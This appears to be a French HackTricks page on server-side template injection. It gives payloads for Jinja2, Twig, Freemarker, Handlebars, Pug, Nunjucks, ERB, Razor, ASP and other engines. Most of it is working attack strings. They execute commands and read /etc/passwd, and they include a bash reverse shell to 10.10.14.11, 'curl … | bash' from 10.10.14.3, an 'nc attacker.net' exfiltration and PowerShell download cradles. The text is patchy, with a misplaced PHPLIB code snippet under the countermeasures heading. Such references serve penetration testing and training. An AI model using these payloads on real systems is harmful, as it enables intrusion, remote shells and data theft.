```
# `authors.php`
## Description
La page `authors.php` affiche une liste d'auteurs avec leurs noms et leurs biographies. Elle est vulnérable à une injection de modèle côté serveur (SSTI) en raison d'une mauvaise validation des entrées utilisateur.
## Impact
Un attaquant peut exploiter cette vulnérabilité pour exécuter du code arbitraire sur le serveur, ce qui peut entraîner la divulgation de données sensibles, la prise de contrôle du serveur ou d'autres attaques.
## Exploitation
L'exploitation de cette vulnérabilité dépend du langage de modèle utilisé par l'application. Les exemples suivants montrent comment exploiter cette vulnérabilité en utilisant différents langages de modèle.
### Jinja2
```
http://example.com/authors.php?name={{7*7}}
```
### Twig
```
http://example.com/authors.php?name={{7*7}}
```
### Freemarker
```
http://example.com/authors.php?name=<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
```
### Velocity
```
http://example.com/authors.php?name=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id").waitFor()
```
### Handlebars
```
http://example.com/authors.php?name={{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}${{this.pop}}(id){{/with}}{{/with}}{{/with}}
```
### EJS
```
http://example.com/authors.php?name=<% require('child_process').exec('id', function(error, stdout, stderr) { console.log(stdout) }); %>
```
### ERB
```
http://example.com/authors.php?name=<%= system("id") %>
```
### Mustache
```
http://example.com/authors.php?name={{#0}}{{.}}{{$a:=&a}}{{/0}}{{$a["0"].constructor("return process")().env.id}}
```
### Smarty
```
http://example.com/authors.php?name={$smarty.version}
```
## Contre-mesures
La meilleure façon de se protéger contre les attaques SSTI est de ne pas utiliser d'entrées utilisateur directement dans les modèles. Si cela n'est pas possible, il est important de valider et de filtrer soigneusement les entrées utilisateur pour s'assurer qu'elles ne contiennent pas de code malveillant.
```php
'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
```
### Jade (NodeJS)
Jade est un moteur de template pour Node.js qui permet de générer du HTML dynamique. Il est vulnérable aux attaques SSTI si les entrées utilisateur ne sont pas correctement validées et échappées.
Pour exploiter une vulnérabilité SSTI dans Jade, vous pouvez utiliser la syntaxe `#{}` pour exécuter du code arbitraire. Par exemple, si vous avez une variable `userInput` qui contient du code malveillant, vous pouvez l'injecter dans un template Jade comme ceci :
```
p Welcome #{userInput}
```
Si `userInput` contient du code qui peut être exécuté, il sera exécuté lors de la génération de la page.
Pour éviter les attaques SSTI dans Jade, vous devez toujours valider et échapper les entrées utilisateur avant de les utiliser dans un template.
```javascript
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```
```javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```
**Plus d'informations**
* Dans la section Jade de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) est un moteur de template PHP qui ne compile pas et utilise des balises XML pour diviser un document en différentes parties.
```xml
This is the main page.
It contains another template.
Hello {NAME}.
```
### Handlebars (NodeJS)
Traversal de chemin d'accès (plus d'informations [ici](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```
* \= Erreur
* ${7\*7} = ${7\*7}
* Rien
```java
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%7b%7b%2f%77%69%74%68%7d%7d
```
**Plus d'informations**
* [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
### JsRender (NodeJS)
| **Modèle** | **Description** |
| ------------ | --------------------------------------- |
| | Évaluer et rendre la sortie |
| | Évaluer et rendre la sortie encodée en HTML |
| | Commentaire |
| et | Autoriser le code (désactivé par défaut) |
* \= 49
**Côté client**
```python
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
```
**Côté Serveur**
```bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
```
**Plus d'informations**
* [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)
### PugJs (NodeJS)
* `#{7*7} = 49`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
**Exemple de rendu côté serveur**
```javascript
var pugjs = require('pug');
home = pugjs.render(injected_page)
```
**Plus d'informations**
* [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/)
### NUNJUCKS (NodeJS)
* \{{7\*7\}} = 49
* \{{foo\}} = Aucune sortie
* \#{7\*7} = #{7\*7}
* \{{console.log(1)\}} = Erreur
```javascript
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
```
**Plus d'informations**
* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
### ERB (Ruby)
* `{{7*7}} = {{7*7}}`
* `${7*7} = ${7*7}`
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Erreur`
```python
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
```
**Plus d'informations**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
### Slim (Ruby)
* `{ 7 * 7 }`
```
{ %x|env| }
```
**Plus d'informations**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
### Python
Consultez la page suivante pour apprendre des astuces sur la **bypass d'exécution de commandes arbitraires en contournant les sandbox** en python:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
{% endcontent-ref %}
### Tornado (Python)
* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{foobar}} = Erreur`
* `{{7*'7'}} = 7777777`
```python
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
```
**Plus d'informations**
### Jinja2 (Python)
[Site officiel](http://jinja.pocoo.org)
> Jinja2 est un moteur de template complet pour Python. Il prend en charge l'unicode complet, un environnement d'exécution sandboxé intégré en option, est largement utilisé et sous licence BSD.
* `{{7*7}} = Erreur`
* `${7*7} = ${7*7}`
* `{{foobar}} Rien`
* `{{4*4}}[[5*5]]`
* `{{7*'7'}} = 7777777`
* `{{config}}`
* `{{config.items()}}`
* `{{settings.SECRET_KEY}}`
* `{{settings}}`
* ``
```python
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
```
**Jinja2 - Format de template**
Jinja2 est un moteur de template pour Python. Il est utilisé pour générer des pages HTML, des courriels et d'autres types de documents. Les templates Jinja2 sont des fichiers texte qui contiennent des balises et des variables. Les balises sont utilisées pour contrôler la logique de la page, tandis que les variables sont utilisées pour afficher des données dynamiques.
Les balises Jinja2 sont entourées de `{%` et `%}`. Les variables sont entourées de `{{` et `}}`. Les commentaires sont entourés de `{#` et `#}`.
Voici un exemple de template Jinja2 simple :
```
{{ title }}
{{ heading }}
{% for item in items %}
{{ item }}
{% endfor %}
```
Dans cet exemple, `title` et `heading` sont des variables, tandis que `for` est une balise. La boucle `for` itère sur la liste `items` et affiche chaque élément dans un paragraphe.
Les templates Jinja2 peuvent également inclure des fichiers externes, des macros et des filtres personnalisés pour une plus grande flexibilité.
```python
{% raw %}
{% extends "layout.html" %}
{% block body %}
{% endblock %}
{% endraw %}
```
[**RCE indépendant de**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
```
**Plus de détails sur comment abuser de Jinja**:
{% content-ref url="jinja2-ssti.md" %}
[jinja2-ssti.md](jinja2-ssti.md)
{% endcontent-ref %}
### Mako (Python)
```python
<%
import os
x=os.popen('id').read()
%>
${x}
```
### Razor (.Net)
* `@(2+2) <= Succès`
* `@() <= Succès`
* `@("{{code}}") <= Succès`
* `@ <= Succès`
* `@{} <= ERREUR!`
* `@{ <= ERREUR!`
* `@(1+2)`
* `@( //CodeC# )`
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAHMAaABlACAAdABlAHMAdABtAGUAdAA2ADQALgBlAHgAZQA7ACAARGV2aWNlAA==");`
La méthode `System.Diagnostics.Process.Start` de .NET peut être utilisée pour démarrer n'importe quel processus sur le serveur et ainsi créer un shell web. Vous pouvez trouver un exemple d'application web vulnérable sur [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
**Plus d'informations**
* [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/)
* [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/)
### ASP
* `<%= 7*7 %>` = 49
* `<%= "foo" %>` = foo
* `<%= foo %>` = Rien
* `<%= response.write(date()) %>` = \
```bash
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
**Plus d'informations**
* [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp)
### Mojolicious (Perl)
Même s'il s'agit de Perl, il utilise des balises comme ERB en Ruby.
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Erreur`
```
<%= perl code %>
<% perl code %>
```
### SSTI en GO
Pour confirmer que le moteur de template utilisé dans le backend est Go, vous pouvez utiliser ces charges utiles :
* `{{ . }}` = structure de données transmise en entrée au modèle
* Si les données transmises sont un objet qui contient l'attribut Password par exemple, la charge utile précédente le divulguerait, mais vous pourriez également faire : `{{ .Password }}`
* `{{printf "%s" "ssti" }}` = devrait afficher la chaîne ssti dans la réponse
* `{{html "ssti"}}`, `{{js "ssti"}}` = Ce sont quelques autres charges utiles qui devraient afficher la chaîne "ssti" sans les mots de fin "js" ou "html". Vous pouvez vous référer à plus de mots-clés dans le moteur [ici](https://golang.org/pkg/text/template).
**Exploitation de XSS**
Si le serveur utilise le package **text/template**, il est très facile de réaliser une XSS en fournissant simplement votre charge utile en entrée. Cependant, ce n'est pas le cas avec **html/template** car il encode la réponse en HTML : `{{""}}` --> `<script>alert(1)</script>`
Cependant, Go permet de **DÉFINIR** un **modèle** complet et de l'appeler **plus tard**. La charge utile sera quelque chose comme :\
`{{define "T1"}}{{end}} {{template "T1"}}`
**Exploitation de RCE**
La documentation pour les modules html/template et text/template peut être trouvée [ici](https://golang.org/pkg/html/template/) et [ici](https://golang.org/pkg/text/template/), et oui, ils varient beaucoup. Par exemple, dans **text/template**, vous pouvez **appeler directement n'importe quelle fonction publique avec la valeur "call"**, ce qui n'est pas le cas avec html/template.
Si vous voulez trouver une RCE en go via SSTI, vous devriez savoir que comme vous pouvez accéder à l'objet donné au modèle avec `{{ . }}`, vous pouvez également **appeler les méthodes des objets**. Ainsi, imaginez que l'**objet transmis a une méthode appelée System** qui exécute la commande donnée, vous pourriez l'abuser avec : `{{ .System "ls" }}`\
Par conséquent, vous aurez probablement **besoin du code source**. Un code source potentiel pour quelque chose comme ça ressemblera à :
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
```
**Plus d'informations**
* [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html)
* [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
### Plus d'exploits
Consultez le reste de [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) pour plus d'exploits. Vous pouvez également trouver des informations intéressantes sur les balises dans [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
## BlackHat PDF
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
## Aide connexe
Si vous pensez que cela pourrait être utile, lisez:
* [Astuces Flask](../../network-services-pentesting/pentesting-web/flask.md)
* [Fonctions magiques Python](broken-reference/)
## Outils
{% embed url="https://github.com/epinna/tplmap" %}
## Liste de détection de force brute
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
## Pratique et références
* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
* [**https://portswigger.net/web-security/server-side-template-injection**](https://portswigger.net/web-security/server-side-template-injection)
[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
{% embed url="https://www.rootedcon.com/" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).